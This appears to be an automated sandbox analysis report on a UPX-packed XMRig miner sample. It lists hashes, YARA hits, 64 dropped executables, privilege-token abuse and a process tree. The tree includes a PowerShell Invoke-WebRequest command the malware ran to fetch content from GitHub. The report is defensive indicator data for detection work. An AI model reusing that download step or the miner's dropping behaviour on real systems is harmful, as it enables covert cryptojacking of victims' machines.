xmrig | c01ddf35e43899c6e695226a503e18459212b76a4aaf6b2b059ef5a8234849ee

Analysis

max time kernel
48s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10/06/2024, 12:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
Size 2.0MB
Sample240610-pnx1tsvdpf
SHA256 c01ddf35e43899c6e695226a503e18459212b76a4aaf6b2b059ef5a8234849ee
MD5 9aabb55b4e19c3952fa7c271b30db271
SHA1 7ff8efde7ac733fdc4754db267948b5da824f794
SHA512 5b0d0dfd9e7b3b7dd3e0100a2362bc4d289db06add0e6760b542ab203872e3fdab65035a630be1fdb387e154a9bbab9dae5229c0964473b100c19f8944091bc8
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMG:NABO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 48 IoCs

miner

resource	yara_rule
behavioral2/memory/4688-50-0x00007FF6418C0000-0x00007FF641CB2000-memory.dmp	xmrig
behavioral2/memory/2120-61-0x00007FF767ED0000-0x00007FF7682C2000-memory.dmp	xmrig
behavioral2/memory/2532-63-0x00007FF603A00000-0x00007FF603DF2000-memory.dmp	xmrig
behavioral2/memory/1476-64-0x00007FF61AA40000-0x00007FF61AE32000-memory.dmp	xmrig
behavioral2/memory/4048-66-0x00007FF695350000-0x00007FF695742000-memory.dmp	xmrig
behavioral2/memory/2520-72-0x00007FF6B5050000-0x00007FF6B5442000-memory.dmp	xmrig
behavioral2/memory/1028-75-0x00007FF7F8710000-0x00007FF7F8B02000-memory.dmp	xmrig
behavioral2/memory/4916-65-0x00007FF68C890000-0x00007FF68CC82000-memory.dmp	xmrig
behavioral2/memory/1904-267-0x00007FF7D6CE0000-0x00007FF7D70D2000-memory.dmp	xmrig
behavioral2/memory/3468-290-0x00007FF69F5B0000-0x00007FF69F9A2000-memory.dmp	xmrig
behavioral2/memory/4492-293-0x00007FF72AD00000-0x00007FF72B0F2000-memory.dmp	xmrig
behavioral2/memory/728-295-0x00007FF60DD30000-0x00007FF60E122000-memory.dmp	xmrig
behavioral2/memory/2856-297-0x00007FF6D95A0000-0x00007FF6D9992000-memory.dmp	xmrig
behavioral2/memory/3480-299-0x00007FF66BD80000-0x00007FF66C172000-memory.dmp	xmrig
behavioral2/memory/3412-303-0x00007FF7EC3A0000-0x00007FF7EC792000-memory.dmp	xmrig
behavioral2/memory/2956-302-0x00007FF6860E0000-0x00007FF6864D2000-memory.dmp	xmrig
behavioral2/memory/2012-305-0x00007FF7484C0000-0x00007FF7488B2000-memory.dmp	xmrig
behavioral2/memory/3116-309-0x00007FF6B6A90000-0x00007FF6B6E82000-memory.dmp	xmrig
behavioral2/memory/3260-304-0x00007FF6D6E50000-0x00007FF6D7242000-memory.dmp	xmrig
behavioral2/memory/500-301-0x00007FF6A0AB0000-0x00007FF6A0EA2000-memory.dmp	xmrig
behavioral2/memory/4948-298-0x00007FF7887B0000-0x00007FF788BA2000-memory.dmp	xmrig
behavioral2/memory/3796-296-0x00007FF79C830000-0x00007FF79CC22000-memory.dmp	xmrig
behavioral2/memory/2968-294-0x00007FF60B520000-0x00007FF60B912000-memory.dmp	xmrig
behavioral2/memory/4684-51-0x00007FF7CB3A0000-0x00007FF7CB792000-memory.dmp	xmrig
behavioral2/memory/2120-1542-0x00007FF767ED0000-0x00007FF7682C2000-memory.dmp	xmrig
behavioral2/memory/2532-1562-0x00007FF603A00000-0x00007FF603DF2000-memory.dmp	xmrig
behavioral2/memory/4048-1590-0x00007FF695350000-0x00007FF695742000-memory.dmp	xmrig
behavioral2/memory/1476-1588-0x00007FF61AA40000-0x00007FF61AE32000-memory.dmp	xmrig
behavioral2/memory/4916-1565-0x00007FF68C890000-0x00007FF68CC82000-memory.dmp	xmrig
behavioral2/memory/4684-1538-0x00007FF7CB3A0000-0x00007FF7CB792000-memory.dmp	xmrig
behavioral2/memory/4688-1478-0x00007FF6418C0000-0x00007FF641CB2000-memory.dmp	xmrig
behavioral2/memory/2520-1609-0x00007FF6B5050000-0x00007FF6B5442000-memory.dmp	xmrig
behavioral2/memory/1028-1618-0x00007FF7F8710000-0x00007FF7F8B02000-memory.dmp	xmrig
behavioral2/memory/2968-1636-0x00007FF60B520000-0x00007FF60B912000-memory.dmp	xmrig
behavioral2/memory/3468-1638-0x00007FF69F5B0000-0x00007FF69F9A2000-memory.dmp	xmrig
behavioral2/memory/4492-1637-0x00007FF72AD00000-0x00007FF72B0F2000-memory.dmp	xmrig
behavioral2/memory/3796-1645-0x00007FF79C830000-0x00007FF79CC22000-memory.dmp	xmrig
behavioral2/memory/3480-1673-0x00007FF66BD80000-0x00007FF66C172000-memory.dmp	xmrig
behavioral2/memory/4252-1873-0x00007FF7C6510000-0x00007FF7C6902000-memory.dmp	xmrig
behavioral2/memory/3412-1690-0x00007FF7EC3A0000-0x00007FF7EC792000-memory.dmp	xmrig
behavioral2/memory/3260-1668-0x00007FF6D6E50000-0x00007FF6D7242000-memory.dmp	xmrig
behavioral2/memory/2012-1666-0x00007FF7484C0000-0x00007FF7488B2000-memory.dmp	xmrig
behavioral2/memory/2956-1663-0x00007FF6860E0000-0x00007FF6864D2000-memory.dmp	xmrig
behavioral2/memory/500-1653-0x00007FF6A0AB0000-0x00007FF6A0EA2000-memory.dmp	xmrig
behavioral2/memory/3116-1652-0x00007FF6B6A90000-0x00007FF6B6E82000-memory.dmp	xmrig
behavioral2/memory/4948-1647-0x00007FF7887B0000-0x00007FF788BA2000-memory.dmp	xmrig
behavioral2/memory/2856-1646-0x00007FF6D95A0000-0x00007FF6D9992000-memory.dmp	xmrig
behavioral2/memory/728-1643-0x00007FF60DD30000-0x00007FF60E122000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	4940	powershell.exe
9	4940	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4940	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4688	uKcoJVN.exe
4684	KDxhUOn.exe
2120	fdxtwBM.exe
2532	IKHyhZZ.exe
1476	JehbfHv.exe
4916	rPodemx.exe
4048	gUjuasb.exe
2520	wtnoGVU.exe
4252	SHZiSOI.exe
1028	LYornaH.exe
3468	YNjhEWC.exe
4492	NqCrmDr.exe
2968	BdwvWrN.exe
728	nwVWbYg.exe
3796	GuHCoal.exe
2856	ddVAXnp.exe
4948	YurmGko.exe
3480	jHRQsai.exe
500	OxyABYc.exe
2956	qgggoSW.exe
3412	kjCaDrc.exe
3260	GgwZnbF.exe
2012	wdrgABB.exe
3116	ZGpGNIK.exe
556	CXcXlVu.exe
1508	ypfbDGR.exe
1796	YpKOCmC.exe
1396	lqbjSBi.exe
3908	yAICsjj.exe
1128	tEzUcWt.exe
2016	JXUugpk.exe
3892	HqmAXrU.exe
1660	xwVGJoe.exe
3856	eWrrwDD.exe
1808	SkErhfM.exe
3952	KuxnNYB.exe
3428	qDpAnqM.exe
4312	OhNzxBx.exe
116	XGuSedY.exe
4924	VsQnWjI.exe
4732	vRymupL.exe
2840	vfJbvIR.exe
4468	sOXRCFL.exe
3392	KFCmSjA.exe
3592	FXDDZZu.exe
1008	QIlEWIx.exe
4584	uGbSSEt.exe
4808	kqUiUYb.exe
4680	psBObFn.exe
4528	EBBMdYt.exe
1568	nbcabLo.exe
3968	qxnBNom.exe
3780	NfoHKEn.exe
3552	imtqisi.exe
3076	GFSAlzY.exe
2912	yPEzpKN.exe
1688	fdjOwyl.exe
2972	VrrSedt.exe
2828	UwWGOSV.exe
3596	OkWuqvo.exe
4148	mVkGvie.exe
2448	DnVxzeS.exe
2476	PDwfgeQ.exe
2868	FPyLQux.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1904-0-0x00007FF7D6CE0000-0x00007FF7D70D2000-memory.dmp	upx
behavioral2/files/0x0008000000023244-6.dat	upx
behavioral2/files/0x0008000000023247-19.dat	upx
behavioral2/files/0x000800000002324c-18.dat	upx
behavioral2/files/0x0009000000023248-29.dat	upx
behavioral2/files/0x000900000002324b-36.dat	upx
behavioral2/files/0x000700000002324d-41.dat	upx
behavioral2/files/0x000700000002324e-46.dat	upx
behavioral2/memory/4688-50-0x00007FF6418C0000-0x00007FF641CB2000-memory.dmp	upx
behavioral2/files/0x000700000002324f-54.dat	upx
behavioral2/files/0x0007000000023250-59.dat	upx
behavioral2/memory/2120-61-0x00007FF767ED0000-0x00007FF7682C2000-memory.dmp	upx
behavioral2/memory/2532-63-0x00007FF603A00000-0x00007FF603DF2000-memory.dmp	upx
behavioral2/memory/1476-64-0x00007FF61AA40000-0x00007FF61AE32000-memory.dmp	upx
behavioral2/memory/4252-67-0x00007FF7C6510000-0x00007FF7C6902000-memory.dmp	upx
behavioral2/memory/4048-66-0x00007FF695350000-0x00007FF695742000-memory.dmp	upx
behavioral2/memory/2520-72-0x00007FF6B5050000-0x00007FF6B5442000-memory.dmp	upx
behavioral2/files/0x0007000000023251-73.dat	upx
behavioral2/memory/1028-75-0x00007FF7F8710000-0x00007FF7F8B02000-memory.dmp	upx
behavioral2/memory/4916-65-0x00007FF68C890000-0x00007FF68CC82000-memory.dmp	upx
behavioral2/files/0x0007000000023252-79.dat	upx
behavioral2/files/0x0007000000023257-104.dat	upx
behavioral2/files/0x0007000000023259-114.dat	upx
behavioral2/files/0x000700000002325c-129.dat	upx
behavioral2/files/0x000700000002325e-139.dat	upx
behavioral2/files/0x000700000002325f-144.dat	upx
behavioral2/files/0x0007000000023261-154.dat	upx
behavioral2/files/0x0007000000023264-169.dat	upx
behavioral2/files/0x0007000000023266-179.dat	upx
behavioral2/files/0x0007000000023267-184.dat	upx
behavioral2/memory/1904-267-0x00007FF7D6CE0000-0x00007FF7D70D2000-memory.dmp	upx
behavioral2/memory/3468-290-0x00007FF69F5B0000-0x00007FF69F9A2000-memory.dmp	upx
behavioral2/memory/4492-293-0x00007FF72AD00000-0x00007FF72B0F2000-memory.dmp	upx
behavioral2/memory/728-295-0x00007FF60DD30000-0x00007FF60E122000-memory.dmp	upx
behavioral2/memory/2856-297-0x00007FF6D95A0000-0x00007FF6D9992000-memory.dmp	upx
behavioral2/memory/3480-299-0x00007FF66BD80000-0x00007FF66C172000-memory.dmp	upx
behavioral2/memory/3412-303-0x00007FF7EC3A0000-0x00007FF7EC792000-memory.dmp	upx
behavioral2/memory/2956-302-0x00007FF6860E0000-0x00007FF6864D2000-memory.dmp	upx
behavioral2/memory/2012-305-0x00007FF7484C0000-0x00007FF7488B2000-memory.dmp	upx
behavioral2/memory/3116-309-0x00007FF6B6A90000-0x00007FF6B6E82000-memory.dmp	upx
behavioral2/memory/3260-304-0x00007FF6D6E50000-0x00007FF6D7242000-memory.dmp	upx
behavioral2/memory/500-301-0x00007FF6A0AB0000-0x00007FF6A0EA2000-memory.dmp	upx
behavioral2/memory/4948-298-0x00007FF7887B0000-0x00007FF788BA2000-memory.dmp	upx
behavioral2/memory/3796-296-0x00007FF79C830000-0x00007FF79CC22000-memory.dmp	upx
behavioral2/memory/2968-294-0x00007FF60B520000-0x00007FF60B912000-memory.dmp	upx
behavioral2/files/0x0007000000023265-174.dat	upx
behavioral2/files/0x0007000000023263-164.dat	upx
behavioral2/files/0x0007000000023262-159.dat	upx
behavioral2/files/0x0007000000023260-149.dat	upx
behavioral2/files/0x000700000002325d-134.dat	upx
behavioral2/files/0x000700000002325b-124.dat	upx
behavioral2/files/0x000700000002325a-119.dat	upx
behavioral2/files/0x0007000000023258-109.dat	upx
behavioral2/files/0x0007000000023256-99.dat	upx
behavioral2/files/0x0007000000023255-94.dat	upx
behavioral2/files/0x0007000000023254-89.dat	upx
behavioral2/files/0x0007000000023253-84.dat	upx
behavioral2/memory/4684-51-0x00007FF7CB3A0000-0x00007FF7CB792000-memory.dmp	upx
behavioral2/memory/2120-1542-0x00007FF767ED0000-0x00007FF7682C2000-memory.dmp	upx
behavioral2/memory/2532-1562-0x00007FF603A00000-0x00007FF603DF2000-memory.dmp	upx
behavioral2/memory/4048-1590-0x00007FF695350000-0x00007FF695742000-memory.dmp	upx
behavioral2/memory/1476-1588-0x00007FF61AA40000-0x00007FF61AE32000-memory.dmp	upx
behavioral2/memory/4916-1565-0x00007FF68C890000-0x00007FF68CC82000-memory.dmp	upx
behavioral2/memory/4684-1538-0x00007FF7CB3A0000-0x00007FF7CB792000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\QfQQXeS.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\gyGpvEE.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\YkGDBmi.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\dYxqgeP.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\cZLwTme.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\zDZuttn.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\czeylJJ.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\bhproPB.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\aNpjtBK.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\yJYOhAU.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\YQQbigX.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\okDYVhC.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\tDERSzi.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\zFjkcxI.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\YBViNtw.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\lqbjSBi.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\aVknTOV.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\trnQzOr.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\aHYEJpP.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\gDJrnxc.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\bVZBjlp.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\hVTrHrg.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\rPodemx.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\QnJGkmn.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\VsQnWjI.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\yPEzpKN.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\fWYenTT.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\glDhchm.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\OhNzxBx.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\rrXVDID.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\JbOucMF.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\MrxLZPU.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\YMlGovU.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\uhjEaXi.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\WwJzTNP.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\XKSiPgd.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\tzMvWai.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\zZiVGQq.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\InIiFrQ.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\TJIdFhg.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\wQMYZfN.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\XPPyvkO.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\plSoDcm.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\dGZSVMC.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\kVPaOnx.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\ddVAXnp.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\ulkuDYJ.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\JRbSACk.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\lHeDaGr.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\LsjoXwu.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\otWytbw.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\uKcoJVN.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\vQKpZOF.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\GgwZnbF.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\nbcabLo.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\IWwxeWm.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\kHMbsZS.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\hWrLsTV.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\AEBOhkD.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\xwVGJoe.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\DzApBlr.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\tpVjkWz.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\gJuuZUY.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
File created	C:\Windows\System\sOXRCFL.exe	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4940	powershell.exe
4940	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeLockMemoryPrivilege	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1904 wrote to memory of 4940	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	91
PID 1904 wrote to memory of 4940	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	91
PID 1904 wrote to memory of 4688	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	92
PID 1904 wrote to memory of 4688	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	92
PID 1904 wrote to memory of 4684	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	93
PID 1904 wrote to memory of 4684	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	93
PID 1904 wrote to memory of 2120	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	94
PID 1904 wrote to memory of 2120	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	94
PID 1904 wrote to memory of 2532	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	95
PID 1904 wrote to memory of 2532	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	95
PID 1904 wrote to memory of 1476	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	96
PID 1904 wrote to memory of 1476	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	96
PID 1904 wrote to memory of 4916	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	97
PID 1904 wrote to memory of 4916	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	97
PID 1904 wrote to memory of 4048	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	98
PID 1904 wrote to memory of 4048	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	98
PID 1904 wrote to memory of 2520	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	99
PID 1904 wrote to memory of 2520	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	99
PID 1904 wrote to memory of 4252	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	100
PID 1904 wrote to memory of 4252	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	100
PID 1904 wrote to memory of 1028	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	101
PID 1904 wrote to memory of 1028	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	101
PID 1904 wrote to memory of 3468	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	102
PID 1904 wrote to memory of 3468	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	102
PID 1904 wrote to memory of 4492	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	103
PID 1904 wrote to memory of 4492	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	103
PID 1904 wrote to memory of 2968	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	104
PID 1904 wrote to memory of 2968	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	104
PID 1904 wrote to memory of 728	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	105
PID 1904 wrote to memory of 728	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	105
PID 1904 wrote to memory of 3796	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	106
PID 1904 wrote to memory of 3796	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	106
PID 1904 wrote to memory of 2856	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	107
PID 1904 wrote to memory of 2856	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	107
PID 1904 wrote to memory of 4948	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	108
PID 1904 wrote to memory of 4948	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	108
PID 1904 wrote to memory of 3480	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	109
PID 1904 wrote to memory of 3480	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	109
PID 1904 wrote to memory of 500	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	110
PID 1904 wrote to memory of 500	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	110
PID 1904 wrote to memory of 2956	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	111
PID 1904 wrote to memory of 2956	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	111
PID 1904 wrote to memory of 3412	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	112
PID 1904 wrote to memory of 3412	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	112
PID 1904 wrote to memory of 3260	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	113
PID 1904 wrote to memory of 3260	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	113
PID 1904 wrote to memory of 2012	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	114
PID 1904 wrote to memory of 2012	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	114
PID 1904 wrote to memory of 3116	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	115
PID 1904 wrote to memory of 3116	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	115
PID 1904 wrote to memory of 556	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	116
PID 1904 wrote to memory of 556	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	116
PID 1904 wrote to memory of 1508	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	117
PID 1904 wrote to memory of 1508	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	117
PID 1904 wrote to memory of 1796	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	118
PID 1904 wrote to memory of 1796	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	118
PID 1904 wrote to memory of 1396	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	119
PID 1904 wrote to memory of 1396	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	119
PID 1904 wrote to memory of 3908	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	120
PID 1904 wrote to memory of 3908	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	120
PID 1904 wrote to memory of 1128	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	121
PID 1904 wrote to memory of 1128	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	121
PID 1904 wrote to memory of 2016	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	122
PID 1904 wrote to memory of 2016	1904	9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe	122

C:\Users\Admin\AppData\Local\Temp\9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9aabb55b4e19c3952fa7c271b30db271_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4940
- C:\Windows\System\uKcoJVN.exe
  C:\Windows\System\uKcoJVN.exe
  2⤵
  - Executes dropped EXE
  PID:4688
- C:\Windows\System\KDxhUOn.exe
  C:\Windows\System\KDxhUOn.exe
  2⤵
  - Executes dropped EXE
  PID:4684
- C:\Windows\System\fdxtwBM.exe
  C:\Windows\System\fdxtwBM.exe
  2⤵
  - Executes dropped EXE
  PID:2120
- C:\Windows\System\IKHyhZZ.exe
  C:\Windows\System\IKHyhZZ.exe
  2⤵
  - Executes dropped EXE
  PID:2532
- C:\Windows\System\JehbfHv.exe
  C:\Windows\System\JehbfHv.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\rPodemx.exe
  C:\Windows\System\rPodemx.exe
  2⤵
  - Executes dropped EXE
  PID:4916
- C:\Windows\System\gUjuasb.exe
  C:\Windows\System\gUjuasb.exe
  2⤵
  - Executes dropped EXE
  PID:4048
- C:\Windows\System\wtnoGVU.exe
  C:\Windows\System\wtnoGVU.exe
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Windows\System\SHZiSOI.exe
  C:\Windows\System\SHZiSOI.exe
  2⤵
  - Executes dropped EXE
  PID:4252
- C:\Windows\System\LYornaH.exe
  C:\Windows\System\LYornaH.exe
